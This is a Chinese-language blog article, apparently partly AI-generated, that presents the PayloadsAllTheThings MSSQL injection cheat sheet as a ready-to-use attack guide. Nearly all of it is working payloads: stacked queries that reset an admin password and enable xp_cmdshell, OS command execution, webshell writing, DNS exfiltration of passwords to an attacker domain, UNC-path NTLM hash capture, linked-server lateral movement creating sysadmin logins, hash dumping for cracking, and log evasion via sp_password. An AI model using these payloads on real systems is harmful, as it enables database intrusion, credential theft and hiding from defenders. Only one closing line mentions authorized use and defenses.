MSSQL 注入实战全指南:从枚举、盲注到命令执行与域渗透(基于 PayloadsAllTheThings)

发布时间:2026/9/30 1:54:56
MSSQL 注入实战全指南:从枚举、盲注到命令执行与域渗透(基于 PayloadsAllTheThings) 网络安全应用安全渗透测试【免费下载链接】PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings点击查看免费下载MSSQL 注入Microsoft SQL Server Injection是一类由于用户输入未经参数化或过滤、被直接拼接入 T-SQL 查询而导致的安全漏洞攻击者可以借此执行任意 SQL 代码造成未授权数据访问、数据篡改甚至完全控制数据库服务器。本篇以仓库中的 SQL Injection/MSSQL Injection.md 为核心骨架并结合 SQL Injection/README.md 与SQL Injection/Intruder/下的真实 FUZZ 词表系统梳理一套从注入点确认、数据库枚举、联合/报错/盲注到文件读写、xp_cmdshell命令执行、带外数据回传、可信链接横向移动直至权限提升与日志规避的完整攻击链路让读者拿到一套可直接投入实战的 MSSQL 注入速查方案。MSSQL 注入基础默认数据库与注释语法在深入攻击手法之前先掌握 MSSQL 环境中的“固有资产”与注释风格这是后续所有 Payload 的公共基础。默认数据库不同版本的 MSSQL 默认数据库略有差异识别它们有助于快速判断实例版本与可用系统库名称说明pubsMSSQL 2005 中不可用model所有版本可用msdb所有版本可用tempdb所有版本可用northwind所有版本可用information_schemaMSSQL 2000 及以上可用注释方式类型说明/* MSSQL Comment */C 风格块注释常用于闭合被截断的 SQL 片段--标准 SQL 行注释是注入中“吃掉”查询尾部内容的主力;%00空字节某些场景下用于提前终止语句解析DBMS 指纹识别在确认注入点之后第一步通常是确认后端数据库类型。仓库的 SQL Injection/README.md 给出了若干仅存在于 MSSQL 的“关键词探针”它们返回恒真或恒假可用来与 MySQL、Oracle、PostgreSQL 区分用途MSSQL 指纹 Payload关键字指纹BINARY_CHECKSUM(123)BINARY_CHECKSUM(123)系统变量CONNECTIONS0、CONNECTIONSCONNECTIONS系统变量CPU_BUSYCPU_BUSY系统函数USER_ID(1)USER_ID(1)一旦确认是 MSSQL即可进入枚举阶段。MSSQL 枚举版本、库、表、列枚举是注入攻击的“侦察阶段”。MSSQL 暴露了大量以开头的系统变量与系统函数一条语句即可获得运行环境画像描述SQL 查询DBMS 版本SELECT version当前数据库名SELECT DB_NAME()数据库架构SELECT SCHEMA_NAME()主机名SELECT HOST_NAME()主机名SELECT hostname主机名SELECT SERVERNAME产品版本SELECT SERVERPROPERTY(productversion)产品级别SELECT SERVERPROPERTY(productlevel)版本版本SELECT SERVERPROPERTY(edition)当前用户SELECT CURRENT_USER当前用户SELECT user_name();当前用户SELECT system_user;当前用户SELECT user;其中SERVERPROPERTY系列可用于精确判断实例的版本号、补丁级别与版本类型如 Standard/Enterprise对后续挑选合适的利用手段如OPENROWSET、xp_cmdshell是否可用很有参考价值。列出数据库SELECT name FROM master..sysdatabases; SELECT name FROM master.sys.databases; -- for N 0, 1, 2, … SELECT DB_NAME(N); -- 修改分隔符如 , 可得到master, tempdb, model, msdb -- (仅 MSSQL 2017 支持) SELECT STRING_AGG(name, , ) FROM master..sysdatabases;注意master..sysdatabases是旧式三段式引用库.架构.对象架构缺省master.sys.databases是新式目录视图写法DB_NAME(N)可配合数字索引遍历所有库。STRING_AGG是 MSSQL 2017 才有的聚合函数可用于将结果压缩进单条报错或盲注输出。列出表-- xtype U 表示用户表V 表示视图 SELECT name FROM master..sysobjects WHERE xtype U; SELECT name FROM DBNAME..sysobjects WHERE xtypeU SELECT name FROM someotherdb..sysobjects WHERE xtype U; -- 列出 master..sometable 的列名与类型 SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.idmaster..sysobjects.id AND master..sysobjects.namesometable; SELECT table_catalog, table_name FROM information_schema.columns SELECT table_name FROM information_schema.tables WHERE table_catalogDBNAME -- 修改分隔符可得trace_xe_action_map, trace_xe_event_map, spt_fallback_db, ... (仅 MSSQL 2017) SELECT STRING_AGG(name, , ) FROM master..sysobjects WHERE xtype U;列出列-- 仅当前数据库 SELECT name FROM syscolumns WHERE id (SELECT id FROM sysobjects WHERE name mytable); -- 列出 master..sometable 的列名与类型 SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.idmaster..sysobjects.id AND master..sysobjects.namesometable; SELECT table_catalog, column_name FROM information_schema.columns SELECT COL_NAME(OBJECT_ID(DBNAME.TABLE_NAME), INDEX)COL_NAME(object_id, column_id)这种“按序号取列名”的写法特别适合盲注场景在无法直接返回多行结果时可以通过改变第二个参数的下标逐列爆破列名。MSSQL Union 联合注入当注入点位于SELECT语句且列数可探测时UNION是最直接的数据回显手段。仓库文档以“Injection”库为例演示了完整流程提取数据库名$ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb从 Injection 库提取表名$ SELECT name FROM Injection..sysobjects WHERE xtype U [*] Profiles [*] Roles [*] Users提取 Users 表的列名$ SELECT name FROM syscolumns WHERE id (SELECT id FROM sysobjects WHERE name Users) [*] UserId [*] UserName最终提取数据SELECT UserId, UserName from Users实战要点UNION两侧的SELECT列数必须一致。仓库的 SQL Injection/Intruder/FUZZDB_MSSQL.txt 词表正是面向这一场景准备的其中包含从 1 到多列的递增式探测 union (select version) -- union (select NULL, (select version)) -- union (select NULL, NULL, (select version)) -- union (select NULL, NULL, NULL, (select version)) -- union (select NULL, NULL, NULL, NULL, (select version)) -- union (select NULL, NULL, NULL, NULL, NULL, (select version)) --用NULL占位逐步增加列数直到与原始查询列数匹配即可将version等数据回显到响应页面中。MSSQL 报错注入报错注入利用数据库类型转换失败时把“问题值”带进错误消息的行为来偷取数据。MSSQL 中常见于将子查询结果强制转换为INT或CONCAT进报错文本名称PayloadCONVERTAND 1337CONVERT(INT,(SELECT ~(SELECT version)~)) -- -INAND 1337 IN (SELECT (~(SELECT version)~)) -- -EQUALAND 1337CONCAT(~,(SELECT version),~) -- -CASTCAST((SELECT version) AS INT)整数型输入convert(int,version) cast((SELECT version) as int)字符串型输入 convert(int,version) cast((SELECT version) as int) ~作为包裹符是为了在报错消息中清晰地标注出数据边界方便肉眼定位。字符串型场景下报错表达式需与周围语法拼接闭合引号后用串联这也是与整数型场景最主要的差别。MSSQL 盲注布尔盲注与子串函数当应用不回显查询结果、只返回“真/假”两种页面状态时就进入布尔盲注。文档给出的经典写法AND LEN(SELECT TOP 1 username FROM tblusers)5 ; -- -先猜长度、再逐字符比对例如用LIKE做前缀匹配SELECT version WHERE version LIKE %12.0.2000.8% WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row 1 and message like t%ROW_NUMBER() OVER (ORDER BY ...)用于在无法直接使用ORDER BY的场景下为结果行编号从而用WHERE row N精确取到第 N 行数据做逐行盲注。子串函数等价写法MSSQL 的字符串截取函数是SUBSTRING函数示例SUBSTRINGSUBSTRING(foobar, START, LENGTH)配合ASCII、UNICODE、ISNULL等函数即可实现逐字符推断AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)97 AND UNICODE(SUBSTRING((SELECT A),1,1))64-- AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables A AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)90第 4 个例子展示了两个实用技巧CAST(... AS varchar(8000))防止截断、ISNULL(...,0)处理NULL值避免盲注判断失效配合90、64这类二分比较可以大幅压缩请求次数。MSSQL 时间盲注WAITFOR DELAY时间盲注通过让数据库“睡”指定时长用响应延迟作为真假判断信道适合页面完全无回显、无状态差别的场景。核心原语是WAITFOR DELAY h:mm:ss。仓库文档给出的通用模式IF([INFERENCE]) WAITFOR DELAY 0:0:[SLEEPTIME] IF 11 WAITFOR DELAY 0:0:5 ELSE WAITFOR DELAY 0:0:0;针对不同括号/引号闭合形态的注入点SQL Injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt 与 SQL Injection/Intruder/payloads-sql-blind-MSSQL-WHERE 提供了系统化的闭合变体覆盖、、)、))、))等组合waitfor delay 0:0:20 /* waitfor delay 0:0:20 -- waitfor delay 0:0:20 /* waitfor delay 0:0:20 -- ) waitfor delay 0:0:20 /* ) waitfor delay 0:0:20 -- )) waitfor delay 0:0:20 /* )) waitfor delay 0:0:20 --同样地SQL Injection/Intruder/payloads-sql-blind-MSSQL-INSERT 针对 INSERT 类注入点准备了带,NULL列填充与 URL 编码%20的变体可配合 Intruder 直接批量爆破闭合形态。文档还给出了经典的注入位测试序列ProductID1;waitfor delay 0:0:10-- ProductID1);waitfor delay 0:0:10-- ProductID1;waitfor delay 0:0:10-- ProductID1);waitfor delay 0:0:10-- ProductID1));waitfor delay 0:0:10--MSSQL 堆叠查询Stacked QueryMSSQL 默认支持在同一批处理中执行多条语句这让注入的杀伤力从“读数据”跃升为“改数据、建用户、调配置”。文档给出两种形态无语句终结符的堆叠利用隐式分隔-- 多个 SELECT 语句 SELECT ASELECT BSELECT C -- 用堆叠查询改密码 SELECT id, username, password FROM users WHERE username adminexec(update[users]set[password]a)-- -- 用堆叠查询启用 xp_cmdshell注意拿不到查询输出需要重定向到文件 SELECT id, username, password FROM users WHERE username adminexec(sp_configureshow advanced option,1reconfigure)exec(sp_configurexp_cmdshell,1reconfigure)--使用分号追加另一条查询ProductID1; DROP members--需要特别强调的是堆叠查询中exec(...)的执行结果不会回显官方文档与仓库实践均提示“you wont have the output of the query, redirect it to a file”即把命令输出重定向到文件后再通过其他手段读取。同时sp_configure的参数要用双单引号转义reconfigure紧跟在每条配置之后生效。MSSQL 文件读写读取文件利用OPENROWSET(BULK ...)可将服务端本地文件以单列大对象的形式读入查询权限要求BULK选项需要ADMINISTER BULK OPERATIONS或ADMINISTER DATABASE BULK OPERATIONS权限。OPENROWSET(BULK C:\path\to\file, SINGLE_CLOB)结合 UNION 的回显示例读取C:\Windows\win.ini-1 union select null,(select x from OpenRowset(BULK C:\Windows\win.ini,SINGLE_CLOB) R(x)),null,null这里R(x)是为OPENROWSET返回的列起别名别名中的x即单列数据的引用名。写入文件借助扩展存储过程写入任意内容execute spWriteStringToFile contents, C:\path\to\, file该手法通常用于向 Web 根目录写入 webshell前提是 SQL 服务账户对目标目录有写权限。MSSQL 命令执行xp_cmdshellxp_cmdshell是 MSSQL 内置的扩展存储过程允许在 T-SQL 中直接调用操作系统命令是注入提权链上最关键的一环EXEC xp_cmdshell net user; EXEC master.dbo.xp_cmdshell cmd.exe dir c:; EXEC master.dbo.xp_cmdshell ping 127.0.0.1;注意xp_cmdshell自 SQL Server 2005 起默认禁用需要先通过sp_configure重新启用-- 启用高级选项 EXEC sp_configure show advanced options,1; RECONFIGURE; -- 启用 xp_cmdshell EXEC sp_configure xp_cmdshell,1; RECONFIGURE;启用后即可通过堆叠注入执行任意系统命令典型的落地路径是堆叠查询 →sp_configure开启xp_cmdshell→exec master..xp_cmdshell ...→ 命令输出重定向到文件再读取。Python 外部脚本sp_execute_external_script当实例启用了机器学习服务Machine Learning Services且xp_cmdshell不可用时sp_execute_external_script提供了另一条命令执行通道。一个容易被忽略的事实是该脚本由与执行xp_cmdshell不同的账户运行可用于横向对比服务账号权限EXECUTE sp_execute_external_script language NPython, script Nprint(__import__(getpass).getuser()) EXECUTE sp_execute_external_script language NPython, script Nprint(__import__(os).system(whoami)) EXECUTE sp_execute_external_script language NPython, script Nprint(open(C:\\inetpub\\wwwroot\\web.config, r).read())__import__(os).system(...)直接执行系统命令open(...).read()则可在不回显场景下读取如web.config这类敏感配置文件。MSSQL 带外数据通道Out of Band当目标无法回显、且外联可用时带外OOB信道可以把数据“悄悄”送到攻击者控制的服务器。MSSQL 有两类典型手法。DNS 外传利用扩展函数读取本地跟踪文件/审核文件路径时把子查询结果拼进 UNC 路径从而触发一次携带数据的 DNS 查询。权限要求VIEW SERVER STATE使用fn_xe_file_target_read_file1 and exists(select * from fn_xe_file_target_read_file(C:\*.xel,\\%2b(select pass from users where id1)%2b.[ATTACKER.DOMAIN.TLD]\1.xem,null,null))权限要求CONTROL SERVER使用fn_get_audit_file/fn_trace_gettable1 (select 1 where exists(select * from fn_get_audit_file(\\%2b(select pass from users where id1)%2b.[ATTACKER.DOMAIN.TLD]\,default,default))) 1 and exists(select * from fn_trace_gettable(\\%2b(select pass from users where id1)%2b.[ATTACKER.DOMAIN.TLD]\1.trc,default))%2b是的 URL 编码用于在查询字符串中拼接子查询结果与攻击者域名被查密码会作为 DNS 主机名的一部分发往ATTACKER.DOMAIN.TLD攻击者只需在权威 DNS 上配置通配符记录即可收集。UNC 路径与 NTLM 哈希抓取MSSQL 支持堆叠查询因此可以构造指向攻击者 SMB 共享的 UNC 路径触发服务器向共享发起认证并泄露 NTLMv2 哈希1; use master; exec xp_dirtree \\10.10.10.10\SHARE;--除xp_dirtree外还有一批“文件存在性”与备份/恢复类存储过程同样支持 UNC 路径都可作为触发 SMB 回连的载体xp_dirtree \\10.10.10.10\file xp_fileexist \\10.10.10.10\file BACKUP LOG [TESTING] TO DISK \\10.10.10.10\file BACKUP DATABASE [TESTING] TO DISK \\10.10.10.10\file RESTORE LOG [TESTING] FROM DISK \\10.10.10.10\file RESTORE DATABASE [TESTING] FROM DISK \\10.10.10.10\file RESTORE HEADERONLY FROM DISK \\10.10.10.10\file RESTORE FILELISTONLY FROM DISK \\10.10.10.10\file RESTORE LABELONLY FROM DISK \\10.10.10.10\file RESTORE REWINDONLY FROM DISK \\10.10.10.10\file RESTORE VERIFYONLY FROM DISK \\10.10.10.10\fileMSSQL 可信链接Trusted Links与横向移动可信链接linked server是 MSSQL 实例间互相执行查询/远程过程的信任关系允许一个实例像操作本地环境一样在远端服务器上执行查询。文档明确指出数据库之间的链接甚至可以跨越林信任forest trusts工作这使其成为内网横向移动的黄金通道。通过sysservers查找链接每一行代表一个可访问的 OLE DB 数据源select * from master..sysservers通过链接执行远程查询select * from openquery(dcorp-sql1, select * from master..sysservers) select version from openquery(linkedserver, select version as version) -- 链式嵌套多个 openquery select version from openquery(link1,select version from openquery(link2,select version as version))通过链接执行系统命令-- 在链接服务器上启用 xp_cmdshell 并执行 dir 命令 EXECUTE(sp_configure xp_cmdshell,1;reconfigure;) AT LinkedServer select 1 from openquery(linkedserver,select 1;exec master..xp_cmdshell dir c:) -- 在第二层链接服务器上创建 SQL 登录并授予 sysadmin EXECUTE(EXECUTE(CREATE LOGIN User WITH PASSWORD Password123 ) AT DOMAIN\SQL01) AT DOMAIN\SQL02 EXECUTE(EXECUTE(sp_addsrvrolemember User , sysadmin ) AT DOMAIN\SQL01) AT DOMAIN\SQL02注意多层嵌套时引号呈指数级转义、且EXECUTE(...) AT与openquery是两种不同的远程执行语法前者用于执行语句、后者用于取回结果集。MSSQL 权限枚举与提权列出当前用户权限fn_my_permissions是 MSSQL 自带的“当前用户有效权限”视图函数可按不同粒度枚举服务器级权限SELECT * FROM fn_my_permissions(NULL, SERVER);数据库级权限SELECT * FROM fn_my_permissions (NULL, DATABASE);对象级权限以视图为例SELECT * FROM fn_my_permissions(Sales.vIndividualCustomer, OBJECT) ORDER BY subentity_name, permission_name;检查当前用户是否为指定服务器角色成员-- 可能角色: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin SELECT is_srvrolemember(sysadmin);is_srvrolemember返回 0/1非常适合直接嵌入布尔盲注的条件表达式。将当前用户提升为 DBA如果当前连接用户具备sp_addsrvrolemember的执行权限通常意味着已是高权限账户或存在配置缺陷可以直接把自己加入sysadminEXEC master.dbo.sp_addsrvrolemember User, sysadmin;MSSQL 数据库凭据与哈希破解MSSQL 不同版本存储登录哈希的视图与格式不同仓库文档按版本给出了对应的 Hashcat 模式MSSQL 2000Hashcat 模式 131示例哈希0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- 需要转换为 hex才能在 MSSQL 报错消息/部分版本的查询分析器中回显哈希MSSQL 2005Hashcat 模式 132示例哈希0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbeSELECT name, password_hash FROM master.sys.sql_logins SELECT name - master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins两版的差异要点2000 用master..sysxlogins的password列2005 起改用master.sys.sql_logins的password_hash列提取时都要经过fn_varbintohexstr转成十六进制字符串才能被稳定回显/落盘随后交给对应模式的 Hashcat 破解。OPSECsp_password 日志规避MSSQL 有一个反直觉的“后门”特性当 T-SQL 批处理文本中出现sp_password关键字时SQL Server 出于安全考虑会在错误日志/Profiler 跟踪中把整条语句替换为注释文本-- sp_password was found in the text of this event. -- The text has been replaced with this comment for security reasons.因此攻击者可以把sp_password拼进注入语句中让 DBA 查看数据库跟踪日志时看到的是被脱敏的注释而非真实 Payload AND 11--sp_password这是文档明确记载的日志规避技巧可作为红队作业中降低暴露面的一环但注意它只影响日志可见性不影响语句本身执行。结语与速查索引至此一条完整的 MSSQL 注入链路已经闭环指纹识别CONNECTIONS/BINARY_CHECKSUM→ 枚举sysdatabases/sysobjects/syscolumns→ 数据回显UNION/报错→ 无回显信道布尔/时间/带外→ 横向扩展堆叠、文件读写、xp_cmdshell、外部脚本、UNC 抓哈希、可信链接→ 提权与凭据收割fn_my_permissions、sysxlogins/sql_logins→ 日志规避sp_password。需要更多弹药时可在仓库的 SQL Injection/ 目录继续深挖SQL Injection/README.mdSQLi 通用方法论、入口点检测、WAF 绕过与各数据库横向对比SQL Injection/Intruder/FUZZDB_MSSQL.txtUNION 列数探测与xp_cmdshell类堆叠 Payload 词表SQL Injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt、SQL Injection/Intruder/payloads-sql-blind-MSSQL-WHERE、SQL Injection/Intruder/payloads-sql-blind-MSSQL-INSERT面向 WHERE/INSERT 注入点的waitfor delay闭合形态 FUZZ 词表SQL Injection/SQLmap.md自动化注入工具的用法参考适合在大规模目标上先行扫描再由手工 Payload 精细化利用。最后提醒上述全部技术仅应在获得授权的前提下用于渗透测试、CTF 与安全研究。MSSQL 注入的根因是拼接查询而非参数化查询防御侧应优先落实参数化语句、最小权限账户、禁用不必要扩展存储过程并开启审计——攻击面地图与防御清单都可以在这份文档的镜像章节中找到依据。赞分享网络安全应用安全渗透测试【免费下载链接】PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings点击查看免费下载相关推荐agent-plugins的0.5.x版本变更全解自定义规则参数与命名空间标志agent plugins的0.5.x版本变更全解自定义规则参数与命名空间标志 agent pluginsFlutter Agent Plugins是 F网络安全应用安全渗透测试PostgreSQL 注入攻防实战基于 CyberStrikeAI 知识库的枚举、盲注、文件读写与命令执行全解PostgreSQL 注入攻防实战基于 CyberStrikeAI 知识库的枚举、盲注、文件读写与命令执行全解 本文以 knowledge_base/SQL网络安全渗透测试人工智能大模型AI AgentRAG后端前端MCP 服务漏洞扫描交互式测验设计指南Ontology Playground 的 Quiz 系统与即时反馈机制完整解析交互式测验设计指南Ontology Playground 的 Quiz 系统与即时反馈机制完整解析 Ontology Playground 是一款免费在线、开网络安全应用安全渗透测试上一篇如何使用phpredis实现分布式锁基于SET NX与EX命令的终极指南下一篇拯救追更党Yuedu阅读进度多平台云同步方案全解析创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考